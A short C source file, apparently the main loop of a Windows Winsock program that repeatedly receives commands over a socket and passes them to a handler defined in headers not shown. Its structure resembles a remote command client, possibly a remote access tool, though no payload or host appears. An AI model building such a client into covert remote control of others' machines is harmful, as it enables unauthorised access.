41 lines
749 B
C
41 lines
749 B
C
#include <stdio.h>
|
|
#include <stdint.h>
|
|
#include <stdlib.h>
|
|
|
|
#include "winsock2.h"
|
|
|
|
|
|
#include "windows.h"
|
|
#include "include/networking.h"
|
|
#include "include/commandhandler.h"
|
|
|
|
int main(int argc, char* argv[]){
|
|
SOCKET s;
|
|
WSADATA wsa;
|
|
|
|
uint8_t receivebuffer[4096];
|
|
uint8_t sendbuffer[4096];
|
|
|
|
printf("Starting... \n");
|
|
printf("Initializing socket... \n");
|
|
InitSocket(&wsa, &s);
|
|
printf("Socket initialized \n");
|
|
|
|
|
|
|
|
// Ciclo principale
|
|
while(1){
|
|
receiveCommand(&wsa, &s, receivebuffer);
|
|
if(receivebuffer[0] != 0){
|
|
printf("%s\n", receivebuffer);
|
|
|
|
// Parsing comando
|
|
handleCommand(&wsa, &s, receivebuffer);
|
|
}
|
|
Sleep(200);
|
|
|
|
}
|
|
|
|
return 0;
|
|
}
|